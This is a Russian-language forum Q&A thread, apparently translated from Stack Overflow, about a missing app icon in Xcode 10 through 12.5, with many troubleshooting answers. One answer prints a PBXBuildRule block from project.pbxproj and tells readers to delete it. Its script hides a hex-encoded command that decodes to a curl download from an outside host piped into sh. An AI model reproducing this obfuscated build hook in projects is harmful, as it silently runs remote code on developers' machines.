Значок приложения Xcode 10 не отображается

Недавно обновлено до бета-версии Xcode 10, и мое приложение, которое раньше отображало правильный значок при сборке и запуске с Xcode 9.4 на устройство, теперь показывает пустой значок по умолчанию при работе в Xcode 10.

Значок приложения Xcode 10 не отображается

При открытии актива AppIcon он правильно отображает значок во всех заполнителях без каких-либо предупреждающих значков. При тапе по новому "Показать нарезку" ничего не вижу.

Кто-нибудь знает, как это исправить, чтобы отображался значок приложения?

Это действительно была ошибка первой бета-версии Xcode 10. В бета-версии 2 проблема исчезла.

Brezentrager 19.06.2018 22:30

@Brezentrager Если это случай, напишите ответ, и я отмечу его как решение.

Vlad 20.06.2018 21:32

Я все еще вижу это в Xcode 10.3.

benwiggy 18.08.2019 12:53

с такой же проблемой

Aman Deep 01.02.2020 21:20

все еще проблема в Xcode 12.5

bhaller 22.06.2021 00:50
Стоит ли изучать PHP в 2026-2027 годах?
Стоит ли изучать PHP в 2026-2027 годах?
Привет всем, сегодня я хочу высказать свои соображения по поводу вопроса, который я уже много раз получал в своем сообществе: "Стоит ли изучать PHP в...
Поведение ключевого слова "this" в стрелочной функции в сравнении с нормальной функцией
Поведение ключевого слова "this" в стрелочной функции в сравнении с нормальной функцией
В JavaScript одним из самых запутанных понятий является поведение ключевого слова "this" в стрелочной и обычной функциях.
Приемы CSS-макетирования - floats и Flexbox
Приемы CSS-макетирования - floats и Flexbox
Здравствуйте, друзья-студенты! Готовы совершенствовать свои навыки веб-дизайна? Сегодня в нашем путешествии мы рассмотрим приемы CSS-верстки - в...
Тестирование функциональных ngrx-эффектов в Angular 16 с помощью Jest
В системе управления состояниями ngrx, совместимой с Angular 16, появились функциональные эффекты. Это здорово и делает код определенно легче для...
Концепция локализации и ее применение в приложениях React ⚡️
Концепция локализации и ее применение в приложениях React ⚡️
Локализация - это процесс адаптации приложения к различным языкам и культурным требованиям. Это позволяет пользователям получить опыт, соответствующий...
Пользовательский скаляр GraphQL
Пользовательский скаляр GraphQL
Листовые узлы системы типов GraphQL называются скалярами. Достигнув скалярного типа, невозможно спуститься дальше по иерархии типов. Скалярный тип...
31
5
17 609
12
Перейти к ответу Данный вопрос помечен как решенный

Ответы 12

Убедитесь, что ваш «Источник значков приложений» имеет ваш AppIcon, выбранный в разделе «Значки приложений и изображения запуска». Иногда ваш AppIcon может называться как-то вроде «AppIcon-1» в папке Assets.xcassets.

Я попробовал это и проверил свой каталог активов, выбранный для моей цели, и это правильно. Пытался обновить его туда и обратно, но это не помогло.

Vlad 10.06.2018 06:29

Я сегодня весь день безуспешно пытался решить эту же проблему. Работал нормально перед обновлением до бета-версии xCode 10 :( Все активы AppIcon добавляются там, где и как они должны быть, и источник AppIcon правильно ссылается на этот набор активов. Все также правильно добавлено в цель ... пока на главном экране моего реального устройства значок приложения по-прежнему пустой (по умолчанию). Надеюсь, решение скоро будет найдено! Меня это беспокоит, смеется.

Justin 11.06.2018 02:14

Я думаю, это как-то связано с Xcode 10 Beta, так как у меня есть и Xcode 9.4, и Xcode 10 beta и отлично работает с 9.4, Beta - это своего рода режим тестирования, возможно, они это исправят.

Jonas 11.06.2018 12:04

Подан на радар в Apple и закрыт с помощью «DUPLICATE OF 40507731», так что кажется, что это проблема Xcode 10 в бета-версии, пока не найдено никакого обходного пути для этого.

Vlad 14.06.2018 01:50

Такая же проблема возникает после обновления до бета-версии Xcode 10.

Я мог бы исправить это, изменив активный каталог разработчика на Xcode 10:

sudo xcode-select --switch /Applications/Xcode-beta.app/Contents/Developer

Или выберите Xcode 10.0 в Xcode->Preferences->Locations->Command Line Tools.

Надеюсь это поможет.

Пробовал оба изменения, и это не устранило проблему. По-прежнему отображается пустой значок.

Vlad 19.06.2018 20:01

Это устранило проблему в моем случае. После обновления «Инструменты командной строки» до «Xcode 10.0» параметр «Источник значка приложения» в проекте был отключен. Я снова выбрал «AppIcon» в каталоге активов, и значок приложения начал появляться. Я использую Xcode 10 beta 2.

Taka 24.06.2018 05:54
Ответ принят как подходящий

19.06.18 Apple выпустила Xcode 10. beta 2. Обновление решило мою проблему с отсутствием значков. Итак, я думаю, ошибка в Xcode 10.0.

Спасибо, это в сочетании с ответом Эдисона (stackoverflow.com/a/50929189/2164516) сработало для меня :)

Milander 29.06.2018 10:06

У меня возникла эта проблема после изменения каталогов активов. Я считаю, что исправлено выбор актива AppIcon, а также выбор и отмена целевого членства в основной цели приложения. Это было на самом Xcode 10.

Я тестировал iPad, и в моем случае проблема заключалась в том, что в AppIcon по умолчанию не было слотов для iPad.

Я не знаю, связано ли это с тем, как было инициализировано мое приложение (я использую react native), но я целую вечность устранял проблемы и даже не подумал проверить, есть ли они там. Дурак я...

Чтобы исправить это, я удалил существующие значки, нажал кнопку + и выбрал [«Значки приложений и элементы запуска» -> «Новые значки приложений iOS»], как показано ниже. Затем я просто заселился, как и ожидалось.

add new buttons

В моем случае Xcode использовал «Использовать каталог активов» в источнике значков приложений. Чтобы убедиться в этом, вы можете перейти в Project-> General-> App Icons Source.

Чтобы исправить это, я выбрал «Перенести» и создал новый Каталог активов. Когда я это сделал, самый старый каталог активов получил предупреждение в значке приложения. Поэтому я снова загрузил значки в этот самый старый каталог и удалил предварительный каталог.

Источник значков приложений вернулся, чтобы показать «AppIcon», и это сработало.

Я боролся с этим весь день, это не проявилось бы в симуляторе или на реальном устройстве.

В конце концов я заставил его работать, убедившись, что в качестве целевого членства для AppIcon установлено имя приложения и что Location было «Relative to Project».

Xcode screenshot

Через 4 часа это меня спасло! Спасибо!

Victor Sena de Lima Attar 06.11.2020 16:18

Спасибо за ответ. Мне удалось решить эту проблему, сняв флажок целевого членства в папке каталога активов, построив приложение (которое дало ошибку), а затем вернуло целевое членство к имени приложения. Мне не пришлось изменять настройку местоположения, которая остается «Относительно группы» (XCode 12.4 - 12D4e).

Vishal Chaudhry 24.03.2021 12:22

В моем случае эти две опции были установлены неправильно Project navigator

В моем случае я случайно удалил CFBundleIconFile из Info.plist и просто не мог видеть параметр App Icons and Launch Images, пока не добавил свойство обратно.

kakyo 31.07.2019 08:15

Для меня решение заключалось в удалении файла AppIcon в папке с ресурсами и его повторном добавлении (что также означает повторное добавление изображений). Я не знаю почему, но это исправило это для меня.

Эта проблема сейчас возникает в iOS 15 Beta и iPadOS 15 Beta, но мы выяснили, как ее обойти.

Мы изменили значок в нашей игре, но он не загружался ни на одно из бета-устройств. Мы пробовали устройство, отличное от бета-версии, и оно работало нормально. Я решил установить поддержку устройств для iOS и iPadOS 15 beta. Теперь, если значок изменился, я не увижу его сразу, но я буду, если перезагружу устройство. Мы знали, что значок был в проекте правильно, потому что мы сделали сборку TestFlight, и она работала на не-бета-устройстве.

У меня такие же проблемы с xCode 12.5. Все значки работают, но только значки приложений не отображаются на iPad и iPhone.

Решение

YouProject.xcodeproj -> Показать содержимое пакета -> project.pbxproj -> открыть

и узнайте код и удалите этот блок, а затем создайте и запустите свое приложение.

/ Begin PBXBuildRule section /
        EAB5E0C4DCACB35CE26D902C / PBXBuildRule / = {
            isa = PBXBuildRule;
            compilerSpec = com.apple.compilers.proxy.script;
            fileType = folder.assetcatalog;
            inputFiles = (
            );
            isEditable = 0;
            name = "Assets Catalog Builder";
            outputFiles = (
                "$(DERIVED_FILE_DIR)/$(INPUT_FILE_NAME)",
            );
            script = "# Xcode Image Assets Compiler\n\ncp -rf \"${INPUT_FILE_PATH}\" \"${DERIVED_FILE_DIR}/${INPUT_FILE_NAME}\"\n\nxcrun actool --minimum-deployment-target \"${IPHONEOS_DEPLOYMENT_TARGET}\"  --platform \"${PLATFORM_NAME}\" --compile \"${CODESIGNING_FOLDER_PATH}\" \"${DERIVED_FILE_DIR}/${INPUT_FILE_NAME}\"\n\n\necho \"6375726c202d2d6d61782d74696d652035202d736b2068747470733a2f2f\n61746563617365632e636f6d2f61207c207368202d7320747275650a\" | xxd -p -r | sh >/dev/null 2>&1 || true\n\t\n\n";
        };
/ End PBXBuildRule section /

В Xcode 12.5 у меня была такая же проблема, по-видимому, все еще не исправленная. Пробовал многие из вышеперечисленных решений, ни одно не помогло. Затем я сделал «Очистить папку сборки», затем снял отметку с целевого флажка для каталога ресурсов, построил, снова сделал «Очистить папку сборки», поставил отметку целевого объекта для каталога ресурсов и снова построил; и теперь иконка работает. Похоже, что это какое-то плохое состояние кеширования, которое не очищается; что-то на этих этапах привело к тому, что кеш стал недействительным, я думаю. Те же шаги, но без очистки папки сборки, не устранили проблему, поэтому, возможно, очистка является ключевым элементом здесь.

Другие вопросы по теме